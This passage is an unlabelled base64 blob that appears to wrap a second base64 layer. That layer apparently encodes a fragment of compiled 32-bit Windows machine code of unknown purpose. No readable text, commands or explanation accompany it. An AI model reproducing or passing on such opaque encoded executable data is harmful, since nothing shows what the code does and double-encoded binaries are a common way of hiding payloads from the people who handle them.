d1Sy8vL1dWbi9kQ1FZL3hWSXNBTVE2eFAvRmF5eUF4QlFhTmhBQlJEb0R5di8vMWxaLzNRa0ZQOFZHTEFERUZmL2RDUWcveFVBc0FNUVgxNWRpOE5iZzhRMHc0SHNkQUVBQUkxRUpFREhSQ1JzdUVFRkVGT0pSQ1JZaVVRa1VMaFlRUVVRVllsRUpIQ0poQ1NBQUFBQWlZUWtrQUFBQUltRUpLQUFBQUNKaENTd0FBQUFpWVFrd0FBQUFJbUVKTkFBQUFDNGNFRUZFRmFMdENTSUFRQUFpWVFrNUFBQUFJbUVKUFFBQUFDNG5FRUZFRmN6LzRtRUpBZ0JBQUNMMzRtRUpCZ0JBQUNOUkNSNGlYd2tNSXZ2aVh3a1NJbDhKQ2lKZkNRNGlYd2tKSWw4SkN5SmZDUWNpVndrR0lsOEpGQ0pmQ1JVaVh3a1lJbDhKRmpIaENTQUFBQUFRVUZCUVltOEpJUUFBQURIaENTTUFBQUF4RUVGRU1lRUpKQUFBQUJDUWtKQ2lid2tsQUFBQU1lRUpKd0FBQURVUVFVUXg0UWtvQUFBQUVORFEwT0p2Q1NrQUFBQXg0UWtyQUFBQVBSQkJSREhoQ1N3QUFBQVJFUkVSSW04SkxRQUFBREhoQ1M4QUFBQUJFSUZFTWVFSk1BQUFBQkZSVVZGaWJ3a3hBQUFBTWVFSk13QUFBQVVRZ1VReDRRazBBQUFBRVpHUmthSnZDVFVBQUFBeDRRazNBQUFBREJDQlJESGhDVGdBQUFBUjBkSFI0bThKT1FBQUFESGhDVHNBQUFBVUVJRkVNZUVKUEFBQUFCSVNFaElpYndrOUFBQUFNZUVKUHdBQUFCMFFnVVF4NFFrQUFFQUFFbEpTVW1KdkNRRUFRQUF4NFFrREFFQUFKaENCUkRIaENRUUFRQUFTa3BLU29tOEpCUUJBQURIaENRY0FRQUFxRUlGRU1lRUpDQUJBQUJMUzB0TGlid2tKQUVBQU1lRUpDZ0JBQUNJUVFVUXg0UWtMQUVBQUxSQ0JSREhoQ1F3QVFBQVRFeE1USW04SkRRQkFBREhSQ1JvREFBQUFJbEVKR3c1SGFBb0JoQVBoYVlCQUFDTGpDU0lBUUFBaTlaWFYyaThRZ1VRNkpCYi8vK0R4QXlGd0ErRUVBRUFBUDgxVkNvR0VMa0FEZ1lRYWdSYTZDUXIvLytMOEZtRjlnK0U2UUFBQUl0T0NMbzRCQUFBaVV3a1lJdE9FSWxNSkZpTlRDUVk2QllFQUFDTFhDUVloY0FQaExnQUFBQ05oQ1JVQVFBQXVsaEJCUkJRaTh2b1VESC8vMW1Gd0ErRWlBQUFBSXVFSkZRQkFBQ05WQ1JnVWYrMEpKQUJBQUNKaENSTUFRQUFqWXdrVEFFQUFQKzBKSkFCQUFDTGhDUmtBUUFBaVlRa1ZBRUFBSXVFSkdnQkFBQ0poQ1JZQVFBQWpVUWtaR2pwUUFFUS8zWVV4d1dnS0FZUUFRQUFBUDkyREZEL2RnVG9FQ24vLzRQRUlJWEFkUlAvRmF5eUF4QlFhTWhDQlJEb3dTZi8vMWxaaVQyZ0tBWVE2eFAvRmF5eUF4QlFhREJEQlJEb3BpZi8vMWxaaTN3a0ZPa2hBd0FBaTN3a0ZPa3pBd0FBT1IyZ0tBWVFkVzZMakNTSUFRQUFpOVpYVjJqa1F3VVE2RmhhLy8rRHhBeUZ3SFJTdWpvRUFBQ05UQ1FZNkE0REFBQ0xYQ1FZaGNCMFBJMkVKRHdCQUFDNnhHTUJFRkNOUkNSc2k4dFF1QjlvQVJBcndsRG9Ba1gvLzRQRURJWEFkQW1OckNROEFRQUE2d3RvK0VNRkVPZ2RKLy8vV1dvR1dUUEFqYndrYUFFQUFQT3JqVVFrUkRQL1VHb0JqWVFrY0FFQUFGQlgveFZZc0FNUWhjQVBpR1VDQUFDTlJDUWdVR29GLzNRa1RQOFZYTEFERUlYQUQ0ZzhBZ0FBVjJnL0FBOEFqVVFrU0ZCWC94V1Fzd01RaS9pRi93K0lCd0lBQUkxRUpCUlFpMFFrSlA5d0NHZ0ZCd0FBLzNRa1RQOFZoTE1ERUl2NGlYd2tUSVgvRDRqRkFRQUEvM1FrSUdpY1JBVVE2SUltLy8rTFRDUW9pMGtJNkZwWS8vOW9kRlVFRU9oc0p2Ly9pNHdrbEFFQUFJMUVKRFNEeEF5TDFtb0FVR2dRM0FRUTZESlovLytEeEF4cUFJWEFkSGhxQVA5MEpERG9rblVCQUlQRURJbEVKRFNGd0hSWGpVUWtIRkNOUkNRb1VJMUVKRHhRYWdIL2RDUWsveFdNc3dNUWkvaUYvM2dyaTFRa05JdE1KQlJWLzNRa0tPZ2hBZ0FBV1ZuL2RDUWtpeldZc3dNUS85Yi9kQ1FjLzlicERRRUFBRmRvd0VRRkVPbUFBQUFBLzNRa0tHZ3dSUVVRNjNXTGpDU01BUUFBalVRa1BGQm9tRVVGRUl2VzZKbFkvLytEeEF5RndIUmYvM1FrT0kxRUpIUlEveFZZdEFNUWpVUWtIRkNOUkNRd1VJMUVKSGhRYWdIL2RDUWsveFdBc3dNUWkvaUYvM2dnaTFRa0xJMUVKSENMVENRVVZWQ0xFdWlPQVFBQVdWbi9kQ1FzNldqLy8vOVhhS2hGQlJEb1ZDWC8vMWxaNjNtTlJDUThVR3BralVRa09GQnFBSTFFSkZoUS8zUWtLUDhWZkxNREVJdndoZlo1RDFab0dFWUZFT2dpSmYvL1dWbnJOelAvT1h3a1BIWWxNOXVMVkNRd2kwd2tGRldOUWdTTEZCTUR3MURvSVFFQUFFZUR3d3haV1R0OEpEeHkzZjkwSkREL0ZaaXpBeENCL2dVQkFBQjBqNHQ4SkV5TFhDUVkvM1FrRlA4Vm5MTURFT3NOVjJpUVJnVVE2TUFrLy85WldmOTBKRUQvRlp5ekF4RHJEVmRvOEVZRkVPaW5KUC8vV1ZuL2RDUWcveFVRc1FNUTZ3U0xmQ1FVLzNRa1JQOFZWTEFERU9zRWkzd2tGSVh0ZEFlTHplam1IZi8vaGR0MEY0dERCSU00QUhRSS96RC9GYlN5QXhDTHkrajBHZi8vaThkZlhsMWJnY1IwQVFBQXcxV0w3SVBzSkZOV1Y0djZpOW1OVmR5NVNFY0ZFRFAyNkl0US8vK0Z3SFE2LzNYNFZsZi9GZEN5QXhDTCtJWC9kQnN6eVl2WFUwSG9BQm4vLzR2d1dZWDJkU3BYL3hXMHNnTVE2eUgvRmF5eUF4QlFhRmhIQlJEckRQOFZyTElERUZCbzBFY0ZFT2puSS8vL1dWbGZpOFplVzR2bFhjT0Q3QnhUVlZaWC8zUWtNSXY2aS9GWFYyaHdTQVVRNk1Fai8vK0R4QkNEZkNRMEFBK0ZzUUFBQUkxRUpCUlFWMmdiQXdBQVZ2OFZpTE1ERUlYQUQ0aUlBQUFBalVRa0VGQnFFdjkwSkJ6L0ZaU3pBeENGd0hoYWFLeElCUkRvZWlQLy8xbUxUQ1FRTS9hQWVTRUFkQTFXYWhDRHdSQmE2TWRULy85WmFMeElCUkRvVmlQLy8xbUxUQ1FRZ0hrZ0FIUUtWbW9RV3Vpb1UvLy9XV2gwVlFRUTZEY2ovLzlaLzNRa0VQOFZtTE1ERU9zTlVHalFTQVVRNkI4ai8vOVpXZjkwSkJUL0ZaeXpBeERyZkZCb1VFa0ZFT2dHSS8vL1dWbnJiV29NYWtEL0ZaQ3lBeENMMklYYmRGMkxUQ1EwalVRa0dEUDJpWHNFVUl2VGlUUG9zVDMvLzFtRndIUTZpM3drS0lYL2RESTVOM1lualc4UWkwVUFoY0IwRllOOS9BQjBELzkxL0l0TitJMFVPT2dmQUFBQVdVYUR4UkE3TjNMY1YvOFZtTElERUZQL0ZaaXlBeEJmWGwxYmc4UWN3MVZXVjR2NWkvS0Qvd1Z6Q1lzRXZieEhCQkRyQmJnc2hnUVFVR2drU2dVUTZHZ2kvLzh6N1ZsWksvMFBoRWNCQUFDRDd3RVBoQ2NCQUFDRDd3RVBoTndBQUFDRDd3RVBoSTBBQUFDRDd3RjBHWXRVSkJDTHptb0I2SlZTLy8vSEJDUjBWUVFRNlU0QkFBRC9kaFNMUmhBRHhsQVB0MFlNMGVoUWFBQkxCUkRvQ1NMLy93KzNSZ1NOVmhob3lFb0ZFRkNMenVpMUFRQUFEN2RPQm92UWFHeExCUkJSaTg3b29nRUFBQSszVGdpTDBHamdTZ1VRVVl2TzZJOEJBQUFQdDA0S2k5Qm9sRXNGRUZHTHp1aDhBUUFBZzhRdzZlVUFBQUNMUmd3RHhsQVB0MFlJMGVoUWFKUktCUkRvblNILy93KzNSZ1NOVmhCb3lFb0ZFRkNMenVpK0FBQUFEN2RPQm92UWFPQktCUkJSaTg3b3F3QUFBSVBFSE9tZkFBQUFnSDREQUl2OUQ0YVRBQUFBVTQxZUVFZFhhSHhLQlJEb1VpSC8vMVZxRUZxTHkraXRVZi8vYUhSVkJCRG9QU0gvL3crMlJnT0R4QkNEd3hBNytITFJXK3RkaTBRa0VGYlI2RkJvYUVvRkVPZ2FJZi8vZzhRTTYwWm9ORW9GRU9nTElmLy9nSDRoQUZsMERWVnFFSTFPRUZyb1hsSC8vMWxvVEVvRkVPanRJUC8vZ0g0Z0FGbDBERlZxRUZxTHp1aEJVZi8vV1doMFZRUVE2TkFnLy85WlgxNWR3MUZSVTFabWkzUWtGSXZhaVZ3a0RJbE1KQWhtaGZaMFpvTjhKQmdBZEJEL2RDUVlhS2dEQlJEb25pRC8vMWxaTThCbU84WnpTRlZYalhzTUQ3ZnVpMXdrRUl0UC9PaXRwZi8vVUdpNFN3VVE2SFlnLy8rTFR3U0xGd1BMYWdEb3psRC8vMmgwVlFRUTZGNGcvLytEeEJDTmZ4U0Q3UUYxeW90Y0pCUmZYUSszeG12QUZGNER3MXRaV2NOUlZtYUxkQ1FNaVV3a0JGZUwrbWFGOW5Samczd2tGQUIwRVA5MEpCUm9xQU1GRU9nWUlQLy9XVmt6d0dZN3huTkZVMVdOWHhBUHQrNy9kd2lMUy96b0tLWC8vMUJvMEVzRkVPanhILy8vaTBzRUEwd2tISXNUYWdEb1IxRC8vMmgwVlFRUTZOY2YvLytEeEJTTld4aUQ3UUYxeFYxYkQ3ZkdhOEFZQThkZlhsbkRnK3drVTR0Y0pEaFZWb3QwSkR5TDZsZFRWdjkwSkVTTCtjZEVKREFTQUFBQWFEUk1CUkRIUkNRNEVRQUFBTWRFSkR3WEFBQUE2SU1mLy8rRHhCQ0YvdytFRWdFQUFJWHRENFFJQWdBQWc4Y0lhRmhNQlJEb1l4Ly8vMW1OVC9qbzZGRC8vNHNQZy9rRWN3bUxCSTBnU1FRUTZ3VzRhRXdGRUZDRCtRUzRmRXdGRUxtUVRBVVFEMFBCVU9ndUgvLy9pMWNFaTA4SWFnSG9oMC8vLzRQRURHaDBWUVFRNkJRZi8vK0RQd0paRDRXVEFBQUFNOEJtaVVRa0ZHYUxCbVlEQTJZREJmZ09CaEJtaVVRa0ZnKzN3RkJxUVA4VmtMSURFSWxFSkJpRndIUm1Wb3MxT0xRREVJMUVKQmhRLzlabytBNEdFSTFFSkJoUS85WlRqVVFrR0ZELzFtYUxSd1F6OW1hSlJDUWVab2xFSkJ5TFJ3aUpSQ1FnaTB5MEpJMUVKQlJvQUJBQUFGQ05WQ1FrNk9pUS8vOUdXVm1EL2dOeTRmOTBKQmovRlppeUF4Q0xkQ1JBZzhjWWcrMEJENFgrL3YvLzZmNEFBQUNMZkNRNGhmOFBoUElBQUFCb1dFd0ZFT2hRSHYvL1dZdlA2TlpQLy8rTFR3aUQrUVJ6Q1lzRWpTQkpCQkRyQmJob1RBVVFVSVA1QkxxUVRBVVF1SHhNQlJBUFE4SlE2QnNlLy8rTFZ3eU5ieEJxQVl2TjZISk8vLytEeEF4b2RGVUVFT2ovSGYvL2czOElBbGtQaFl3QUFBQXp3R2FKUkNRVVpvc0daZ01EWmdNRitBNEdFR2FKUkNRV0Q3ZkFVR3BBL3hXUXNnTVFpVVFrR0lYQWRGOVdpelU0dEFNUWpVUWtHRkQvMW1qNERnWVFqVVFrR0ZELzFsT05SQ1FZVVAvV1pvdEhERFAyWm9sRUpCNW1pVVFrSElsc0pDQ0xUTFFralVRa0ZHZ0FFQUFBVUkxVUpDVG8xWS8vLzBaWldZUCtBM0xoLzNRa0dQOFZtTElERUdoMFZRUVE2RjRkLy85WlgxNWRXNFBFSk1QTVZZdnNnK3gwVXpQQVZqUDJWNDE5bElsMWtLdUpkZWlKZGZTSmRlU3JpWFhjaVhYZ2lYWE1xNGwxMUt1cmpVWGNpVVhRaVVYWU9UV2NLQVlRRDRVQUFRQUFpMVVNaTAwSVZsWm92RUlGRU9qalQvLy9nOFFNaGNBUGhPTUFBQUQvTlZRcUJoQXovN21nRFFZUVI0dlg2SFVmLy8rTDhGbUY5ZytFNUFJQUFJdE9DTG80QkFBQWlVM01pMDRRaVUzVWpVM2s2R3I0Ly8rRndBK0V3d0lBQUlFOVZDb0dFUEFqQUFDTlJhaUxUZVM2Y0VFRkVGQzRvRXdGRUE5RDBPaVpKZi8vV1lYQWRHS0xSYWlOVmN4Ui8zVU1pVVc4alUyOC8zVUlpMFdzaVVYQWkwV3dpVVhFalVYVWFJTk9BUkQvZGhTSlBad29CaEQvZGd4US8zWUU2SWNkLy8rRHhDQ0Z3SFVUL3hXc3NnTVFVR2k0VEFVUTZEZ2MvLzlaV1lNbG5DZ0dFQURwT1FJQUFQOFZyTElERUZCb0lFMEZFT2daSFAvL1dWbnBJUUlBQUkxRjhGQnFBWTFGa0ZCVy94VllzQU1RaGNBUGlBZ0NBQUNOUmZoUWFnei9kZkQvRlZ5d0F4Q0Z3QStJNkFFQUFJdEYrSVBBQ0ZaUVVQOFZQTFFERUl0RitGQ0R3QWhRYU5oTkJSRG93UnYvLzR0TitJUEVERGx4S0hRT2FOZy9CUkRvckJ2Ly8xbUxUZmlMU1Nqb2hFMy8vMmpvOFFRUTZKWWIvLzlaalVYc2lYWG9VRmFOUmZ4UWpVWG9VUDkxOFA4VkRMRURFSXNkRUxFREVPbFBBUUFBaGNCMEN6MEZBUUFBRDRWTEFRQUFpLzZGeVErRUd3RUFBSXRGL0FQR2FnQlFVUDhWUExRREVJdE4vQVBPalVFSVVGRm9ERTRGRU9nMUcvLy9pMDM4ZzhRTWczd09FQUIwRG1qWVB3VVE2QjRiLy85WmkwMzhpMHdPRU9qMVRQLy9hT2p4QkJEb0J4di8vMW1OUmZSUWkwWDhhZ2NEeGxEL2RmRC9GZnl3QXhDRndBK0lrQUFBQUl0Ri9JdE45QVBHVUl0RitJUEFDSXNSaTBrRVVHZ3dUZ1VRYWdEb0N2di8vNHRGK0l0TjlJUEFDRkNMUmZ3RHhvdFJESXRKRUZCb1BFNEZFR29BNk9qNi8vK0xSZnlMVGZRRHhsQ0xSZmlEd0FpTEVZdEpDRkJvU0U0RkVHb0E2TWY2Ly8rTFJmaUxUZlNEd0FoUWkwWDhBOGFMVVF5TFNSUlFhRlJPQlJCcUFPaWwrdi8vZzhSQS8zWDAvOVByRFZCb1lFNEZFT2hPR3YvL1dWbEhnOFlnTzMzc0Q0TG4vdi8vTS9iL2Rmei8wNDFGN0ZCV2pVWDhVSTFGNkZEL2RmRC9GUXl4QXhDTFRleUZ5UStGcHY3Ly96MGFBQUNBZEJHRndIUU5VR2pvVGdVUTZBRWEvLzlaV2Y5MStQL1QvM1h3L3hWVXNBTVFYMTR6d0Z1TDVWM0RWWXZzZyt3MGcyWFFBRFBBVTR2WlZyNEJBQURBVjQxOTFLdXJxNnVyaGRJUGhJOEFBQUNMTlZpMEF4Q05SZWhTVVAvV1U0MUY4RkQvMW8xRitGQnFCSTFGMEZDTlJmQlEveFZZc0FNUWkvQ0Y5bmhoalVYOFVJMUY2RkQvZGZqL0ZmaXdBeENMOElYMmVFR0xUZnlMZlFpTEFZa0hpMEVFaVVjRUQ3ZEhBbEJxUVA4VmtMSURFSWxIQklYQWRCUVB0MDhDVVl0Ti9QOXhCRkRvY1NJQ0FJUEVEUDkxL1A4VkVMRURFUDkxK1A4VlZMQURFRitMeGw1YmkrVmR3NFBzRUZOV2pVUWtFSXZaVUZPTDhvbGNKQlQvRlhDMEF4Q0Z3QStJK3dFQUFBKzNWQ1FRTThtTFJDUVUwZXBWVjJhSlRGRCtpMndrSElzR2c4VUNpV3drRUlQb0FRK0VKZ0VBQUlQb0FYUlUvelpvQ0ZBRkVPak9HUC8vaTF3a0xJdk9hQUFBSUFDTDArZ2lTZi8vYUhSVkJCRG9zaGovLzRQRUVJTjhKQ2dBRDRTSkFRQUFhT3hQQlJCVmFnQzZMSVlFRUxtRVR3VVE2S1hBLy8rTDd1a3FBUUFBYUdoUEJSRG9mQmovLzJvQi8zWUVqVllNaTh2b09Hdi8vNHRXQkRQL1dWbi9kQ1FzVlZGb2hFOEZFRmVOVGd6bzNibi8vNFBFR0RsOEpDZ1BoQ29CQUFDTFhnaU5iZ3dEYmdTNlFMUUVFR2hrQ3dVUS8zUWtGTG1FVHdVUVYrZzd3UC8vZzhRTWlVUWtGSVhBZEQ5UVVGSC9kZ1NOUmd5TDAxQ0x6ZWl3dnYvL2c4UVF1YlFJQlJDRndMNjhDQVVRRDBUT1VXaVFUd1VRNk9nWC8vK0R4QXovZENRVS94V1lzZ01RNndXK3ZBZ0ZFR2dvQ2dVUS8zUWtGTHBBdEFRUXVZUlBCUkJYNk5PLy8vL3JZbWpNVHdVUTZLOFgvLytMWENRb2pXNEVpMHdrR0RQL2c4UDhpOVZYVStoaGF2Ly9hQUFBSUFDTDA0dk42TzVILy85b2RGVUVFT2grRi8vL2c4UVVPWHdrS0hSYWFPeFBCUkQvZENRVXV2UlBCUkM1aEU4RkVGZm9kTC8vLzc2OENBVVFpL2lEeEF5Ri8zUXpoZTEwS0lYYmRDUlhVNHZWaTgvb1cvNysvNFhBdUxRSUJSQlpEMFRHVUdoSVVBVVE2Q1VYLy8rRHhBeFgveFdZc2dNUWpVUWtHRkQvRldTMEF4QmZYVjViZzhRUXc0UHNmRk5WVmxkcUJvdnBpVlFrR0ZscVNvMUVKRHkraEZBRkVJMThKQ1M3QVFBQXdHb0E4NlZRNkZPY0FBQ0R4QXd6d0dhSmhDU0FBQUFBalVRa0dGQlYveFZ3dEFNUWhjQjRhWXQwSkJ5TlJDUVlhaEpaZzhZQ2pYd2tOdk9sVVA4VlpMUURFRkdMakNTVUFBQUFqVVFrSEZDTlZDUW82S1Q4Ly8rTDJGbFpoZHQ0SXcrM1RDUVkvM1FrRkl0VUpDQlJpODNvUmYzLy8xbFovM1FrSFA4Vm1MSURFT3NOVTJpZ1VBVVE2RllXLy85WldWOWVYWXZEVzRQRWZNTlZpK3lENVBpRDdDUlRWb3QxQ0RQQVY0dDlESXZPVUZCb2NOWUVFSXZYaVVRa0lJbEVKQnpvQVVuLy80UEVESXZYaTg2TDJHb0FhZ0JvNUVNRkVPanFTUC8vZzhRTWpVUWtFSXZYaTg1cUFGQm94TGdFRU9qU1NQLy9nOFFNalVRa0ZJdlhpODVxQUZCb1RGRUZFT2k2U1AvL2kzUWtJSVBFRElYMmRHWldqVVFrSEZEL0ZWaTBBeENOUkNRZ1VJMUVKQnhRL3hVc3RBTVFoY0I0TW1oMFZRUVE2S0lWLy85WmpVd2tJT2hLUi8vL2FGaFJCUkRvamhYLy8vOTBKQlNMMDQxTUpDam9kLzcvLytuS0FBQUFWbEJva0ZFRkVPaHVGZi8vZzhRTTZiZ0FBQUJvQkZJRkVPaGNGZi8vaTNRa0ZJMUVKQnhRdWtCU0JSQ0x6dWhmKy8vL2l6MllzZ01RV1ZtRndIZ3BpMHdrSE9qa1J2Ly9hSFJWQkJEb0tCWC8vNHRNSkNDTDAxYm9GUDcvLzFsWi8zUWtIUC9YNncxUWFIQlNCUkRvQnhYLy8xbFphQWhUQlJEbyt4VC8vNDFFSkJ5NlJGTUZFRkNMenVnQysvLy9XVm1Gd0hncGkwd2tIT2lOUnYvL2FIUlZCQkRvMFJULy80dE1KQ0NMMDFib3ZmMy8vMWxaLzNRa0hQL1g2dzFRYUhCU0JSRG9zQlQvLzFsWlgxNHp3RnVMNVYzRFZZdnNnK3dRaTFVTWkwMElVelBiVTFOb2NOWUVFSWxkL09ocVIvLy9pMVVNaTAwSVUxTm81RU1GRU9oWVIvLy9pMVVNalVYNGkwMElVMUJvbUVVRkVPaERSLy8vZzhRa2hjQjBWb3RWREkxRi9JdE5DRk5RYU1TNEJCRG9KMGYvLzR0VitJMUY4RmxaaTAzOFVPaEwrdi8vV1ZtRndIZ2REN2RWOEl0TjlHZ0JBQkFBNklKRS8vOVovM1gwL3hXWXNnTVE2dzFRYUdCVEJSRG9CUlQvLzFsWk04QmJpK1ZkdzJpRUFRQUFhR0RhQlJEb0JrSUNBRFAyaVhYVWlYWElhanhXallYOC92Ly9VT2hQbVFBQWFJZ0FBQUJXallVNC8vLy9VT2c5bVFBQWlYWE1hSkFBQUFCV2pZVnMvdi8vVU9nb21RQUFpWFhRaVhYZ2lYWEVpWFhraVhYWVZvMUZ4RkJvb05zRUVJdFZESXROQ09odVJ2Ly9nOFF3aGNCMUZJMU4xT2dkQi8vL2hjQjBDSXRGMUl0NERPc0RpMzNFaGY4UGhJWUNBQUJxTGxmbzI1RUFBRmxaaGNBUGhIUUNBQUJYYVB4VEJSRG9TQlAvLzFhTlJlUlFhRGhVQlJDTFZReUxUUWpvRmtiLy80UEVGSVhBZFROV2pVWGtVR2hBVkFVUWkxVU1pMDBJNlBwRi8vK0R4QXlGd0hVWGpVWFlVSXZQNkdJSC8vOVppMTNraGNBUFJWM1k2d09MWGVTRjJ3K0VDQUlBQUZOb1NGUUZFT2pqRXYvL1ZvMUY0RkJvVEZFRkVJdFZESXROQ09peFJmLy9nOFFVaGNCMUpsYU5SZEJRYUpUYkJCQ0xWUXlMVFFqb2xVWC8vNFBFRElYQWRRcG9TRmNGRU9uSEFRQUFPWFhnZEFyL2RlQm9qRlFGRU9zSS8zWFFhTWhVQlJEb2hSTC8vMWxaalZYY2k4dm9TekwvLzRYQUQ0U2RBUUFBallVRS8vLy9VUDkxNFA5MTBJMkZPUC8vLzFCWGk5T05UZHpvZ2pQLy80UEVGSVhBRDRST0FRQUFqVVhJVUkyVk9QLy8vNDFOM09qWk5mLy9XWVhBRDRRekFRQUFqWVg4L3YvL2lZVlkvLy8veDRWOC8vLy9NSUFvQURQYlE0bGRnTWRGaEFBQW9BREhSWWdHQUFBQWlYWDhqWVZzL3YvL1VJMUZ6RkNOaFRqLy8vOVFhZ2ovZGNqb3F6My8vNFBFRklYQWRWR0RmY3dHZFRBNW5kVCsvLzkxS0l1TjNQNy8vK2pzTi8vL2hjQjBFb3VOM1A3Ly80MUpESXZYNkRvQ0FBRHJFbWdZVlFVUTZ3Vm9xRlVGRU9pY0VmLy9XWTJWYlA3Ly80dE56T2czTy8vLzZ3OVFVR2hZVmdVUTZIOFIvLytEeEF5TlJjaFE2QTg5Ly85WmcwMzgvK3R6aTBYc2l3Q0xBSWxGd0QwRkFBREFkRU05QWdBQWdIUThQWllBQU1CME5UMGRBQURBZEM0OUF3QUFnSFFuUGYwQUFNQjBJRDBHQUFEQWRCazlJQVFBd0hRU1BRa0VBTUIwQ3owQkFBQ0FkQVF6d0VERE04RERpMlhvLzNYQS8zWEFhTkJXQlJEb0FoSC8vNFBFRElOTi9QOHo5bzFGM0ZEL0ZWeXpBeENGd0hVWGlYWGM2eEpveUZjRkVPc0ZhRWhZQlJEbzFSRC8vMW1EZmRnQWRBbi9kZGovRlppeUF4Q0RmZFFBZEFuL2RkVC9GUkN4QXhBendPZ0VQd0lBdzFOVlZvdDBKQkF6d0l2cWk5bFhoZlowQW9rR2kxUWtHSVhTZEFLSkFvdjRPUU4yTG90TEJEa3BkQXBIZzhFTU96dHk5T3NkZzNrRUFYVVhpMEVJaTBBRWhmWjBBb2tHaGRKMEI0dEpDSXNKaVFwZlhsMWJ3MVdMN0ZGUlZvdnhpOEtMVlFpTlRmaFJqVTM4VVl2STZJMy8vLzlaV1lYQWRDYUxSZmhvZEZVRUVQOTEvTkhvaGZaUXVMUlRCQkFQUmNaUWFPaFlCUkRvRWhELy80UEVGRjZMNVYzRGcrd1FVMVZXVjR2Nk05c3o5b3ZwaGY5MGVJMUVKQkJRalVRa0tGQ05CQzVRL3hYMHNBTVFNOXVGd0ErWnc0WGJkRWVEZkNRc0FIUVppOGJCNkFSUS8zUWtMR2o4V0FVUTZMMFAvLytEeEF6ckVQOTBKQ2hvR0ZrRkVPaXFELy8vV1ZscUFHb1FXbzFNSkJUb0FFRC8vOGNFSkhSVkJCRHJCV2d3V1FVUTZJY1AvLytEeGhCWk8vZHlpRjllWFl2RFc0UEVFTU5UVmxlTDhZdjZVV2dCQUFrQWk5YTV0RmtGRU9nRi8vLy9hSFJWQkJEb1VnLy8velBidXQwQUNRQlRVNHZPNkpUKy8vK0R4QlNMem9YQWRBaGZYbHZwcUFBQUFGTlR1b1VBQ1FEb2QvNy8vMWxaaGNCMERJdlhpODVmWGx2cGpnVUFBRjllVzhPNEFBQUFNRHZJZDBWMFBZUHBBSFF5Z2VrQUFBQVFkQ1NENlFGMEdZSHAvLy8vRDNRTGcra0JkVDY0OEY0RkVNTzQxRjRGRU1PNG9GNEZFTU80aEY0RkVNTzRhRjRGRU1PNEpGOEZFTU9CNlFFQUFEQjBLb1BwQVhRZmdlbisvLzhQZEJHRDZRRjBCcmdzaGdRUXc3aVlYd1VRdzdoNFh3VVF3N2hjWHdVUXc3ZzhYd1VRdzFGUlZWWlhhTGhmQlJDTDhlaDREdi8vYU4wQUNRQ0wxcm5nWHdVUTZCRCsvLytMMXNjRUpKQUNDUUM1RUdBRkVPajkvZi8vTSsyTlJDUVVWVkM2TGdFSkFJdk82Skw5Ly8rRHhCQ0Z3SFFjaTBRa0RJc1FpOHJvSGYvLy8xQlNhRUJnQlJEb0lBNy8vNFBFREkxRUpBeTZDQUFKQUZWUWk4N29YZjMvLzFsWmhjQjBSVk9MWENRUS96Tm9pR0FGRU9qMERmLy9XVm1ML1RQQWk4OUEwK0NGQTNRVC96Uzl3RVlFRUdoRXJRUVE2TlFOLy85WldVZUQveUJ5M0dqbzhRUVE2TUlOLy85Wlc0MUVKQXk2bndBSkFGVlFpODdvQVAzLy83OTBWUVFRV1ZtRndIUWJhTWhnQlJEb21RMy8vNHRNSkJEb0hqLy8vMWZvaWczLy8xbFpqVVFrRExwZ0FBa0FWVkNMenVqSS9QLy9XVm1Gd0hRYmFQaGdCUkRvWmczLy80dE1KQkRvNno3Ly8xZm9WdzMvLzFsWmpVUWtETHFTQUFrQVZWQ0x6dWlWL1AvL1dWbUZ3QStFR2dFQUFHZ29ZUVVRNkM4Ti8vK0xUQ1FRNkFvLy8vOVg2Q0FOLy85WldmOTBKQXovRlFpeEF4QVB0Z0JJVVA5MEpCRC9GUVN4QXhDTE9GZG9XR0VGRU9qNERQLy9hSkJoQlJEbzdnei8vNDFFSkJ5NldnQUpBRkNOUkNRY2k4NVE2Q3I4Ly8rRHhCU0Z3SFFYaTFRa0VJdE1KQXhWYVBRMEJSQlg2TFA4Ly8rRHhBeU5SQ1FRdWw0QUNRQlFqVVFrRUl2T1VPajIrLy8vV1ZtRndIUVlpMVFrRUl0TUpBeHFBV2l3WVFVUVYraC8vUC8vZzhRTWpVUWtFTG8zQUFrQVVJMUVKQkNMemxEb3d2di8vMWxaaGNCMEY0dFVKQkNMVENRTVZXZ0FOUVVRVitoTS9QLy9nOFFNalVRa0VMcWdBQWtBVUkxRUpCQ0x6bERvai92Ly8xbFpoY0IwR0l0VUpCQ0xUQ1FNYWdGb3ZHRUZFRmZvR1B6Ly80UEVESTFFSkJDNmZRQUpBRkNOUkNRUWk4NVE2RnY3Ly85WldWOWVYWVhBZEJab3lHRUZFT2oyQy8vL2kwd2tCSVBFRE9rREFBQUFXVm5EVll2c2crVDRnK3dnZzJRa0JBQ0x3Vk5WVmpQSmlVUWtJR1k3U0c2TldIQlg2U29DQUFCbWl3Tm1pVVFrS21hSlJDUW9qVU1HaVVRa0xBKzNBdyszZXdLRHdBWUR3OUh2aVVRa0hJMUVKQ2hRYUFCaUJSRG9qQXYvLzFsWlYycEEveFdRc2dNUWkvQ0Y5ZytFdndFQUFEUHRoZjkwS290Y0pCeU5SQ1FnVUdnVVlnVVFVK2dpd1AvL2lrUWtMSVBFRElnRUxvUERBa1U3NzNMZWkxd2tHSXN0WExRREVJMUVKQ2hxQVZCbzdBMEdFUC9WaE1BUGhWQUJBQUJxQVkxRUpDeFFhSlFOQmhELzFZVEFENFU2QVFBQWFnR05SQ1FzVUdqd0RnWVEvOVdFd0hSRU0vK0FmZ01BRDRZdEFRQUFqVzRRUjFkb2ZFb0ZFT2pvQ3YvL2FnQnFFRnFMemVoQ08vLy9hSFJWQkJEbzBnci8vdysyUmdPRHhCQ0R4UkE3K0hMUTZmVUFBQUJxQVkxRUpDeFFhUFFOQmhELzFZVEFkRWFMUmd3RHhsQVB0MFlJMGVoUWFKUktCUkRvbGdyLy93KzNSZ1NOVmhCb3lFb0ZFRkNMenVpMzZmLy9EN2RPQm92UWFPQktCUkJSaTg3b3BPbi8vNFBFSE9tZEFBQUFhZ0dOUkNRc1VHamNEUVlRLzlXRXdIUnMvM1lVaTBZUUE4WlFEN2RHRE5Ib1VHZ0FTd1VRNkRzSy8vOFB0MFlFalZZWWFNaEtCUkJRaTg3bzUrbi8vdyszVGdhTDBHaHNTd1VRVVl2TzZOVHAvLzhQdDA0SWk5Qm80RW9GRUZHTHp1akI2Zi8vRDdkT0NvdlFhSlJMQlJCUmk4N29ydW4vLzRQRU1Pc2ZhZ0dMMTR2TzZFUTYvLzlaNnhGVzBlOVhhR2hLQlJEb3pRbi8vNFBFREdoMFZRUVE2TUFK